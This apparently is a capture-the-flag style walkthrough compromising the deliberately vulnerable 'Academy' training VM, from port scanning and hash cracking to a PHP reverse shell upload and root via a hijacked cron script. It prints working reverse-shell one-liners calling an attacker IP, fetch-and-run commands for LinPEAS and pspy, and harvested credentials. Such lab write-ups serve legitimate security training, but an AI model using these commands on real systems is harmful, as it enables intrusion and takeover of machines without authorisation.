A Complete Penetration Testing Guide
This walkthrough demonstrates a complete penetration test of the Academy machine. We'll go through reconnaissance, vulnerability identification, exploitation, and privilege escalation to gain root access.
All VMs are available here: VMs - Google Drive
Login credentials for the Academy VM:
Username: root
Password: tcm
After logging in, obtain an IP address:
dhclient
ip a
Start with a basic port scan:
nmap 10.0.2.4
Three ports were discovered as open. Let's perform a deeper scan:
nmap -p 21,22,80 -A 10.0.2.4
Researching the service versions revealed that vsftpd 3.0.3 only has a DoS vulnerability, which isn't useful for our purposes. The other services also had no critical exploits for their versions.
Visiting http://10.0.2.4 shows the Debian default page. While not immediately exploitable, this should be reported in a penetration test as it's considered poor security hygiene.
Let's connect to FTP with anonymous credentials:
ftp 10.0.2.4
Username: anonymous
Password: (press enter)
get note.txt
exit
The note reveals database credentials:
Note: "The StudentRegno number is what you use for login."
Use hash-identifier to determine the hash type:
hash-identifier
cd73502828457d15655bbd7a63fb0bc8
The hash is identified as MD5. Save it to a file and crack it using hashcat:
echo "cd73502828457d15655bbd7a63fb0bc8" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
With credentials but no clear target, directory enumeration is the next logical step. Using ffuf for first-level enumeration:
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.4/FUZZ
Note: For deeper enumeration within directories, consider using Dirb.
Navigating to http://10.0.2.4/academy reveals a student login page.
Login with the discovered credentials:
After logging in, the "My Profile" section reveals a photo upload functionality. Since the site uses PHP, we can attempt to upload a PHP reverse shell.
Download the pentestmonkey PHP reverse shell:
# Visit: https://github.com/pentestmonkey/php-reverse-shell
# Download and modify the shell
nano shell.php
# Change these lines:
$ip = '10.0.2.15'; // Your attacker IP
$port = 1234;
Set up a netcat listener:
nc -nvlp 1234
Upload the shell.php file through the photo upload section.
Check user privileges:
whoami
# Output: www-data (not root, no sudo available)
Download LinPEAS from: PEASS-ng Releases
Host a Python HTTP server on your attacker machine:
python3 -m http.server 80
On the target machine, download and execute LinPEAS:
cd /tmp
wget http://10.0.2.15/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Key discoveries:
grimmie exists with admin privileges* * * * * /home/grimmie/backup.sh
LinPEAS revealed credentials in a PHP config file:
cat /var/www/html/academy/includes/config.php
Attempt SSH login with the discovered credentials:
ssh grimmie@10.0.2.4
Password: My_V3ryS3cur3_P4ss
Successfully logged in as grimmie! However, sudo is not available.
In /home/grimmie, we find backup.sh which removes backup.zip periodically. Checking crontab returns nothing, so we'll use pspy to monitor processes.
Download pspy64 from: pspy GitHub
wget http://10.0.2.15/pspy64
chmod +x pspy64
./pspy64
pspy confirms that backup.sh is executed multiple times per minute as root!
Since grimmie owns backup.sh and it runs as root, we can inject a bash reverse shell.
Create a bash reverse shell one-liner:
bash -i >& /dev/tcp/10.0.2.15/8080 0>&1
Replace the contents of backup.sh:
echo 'bash -i >& /dev/tcp/10.0.2.15/8080 0>&1' > /home/grimmie/backup.sh
Set up a listener on port 8080:
nc -nvlp 8080
Wait for the cron job to execute (within a minute)...
Success! We have root access.
whoami
# Output: root
ls
cat flag.txt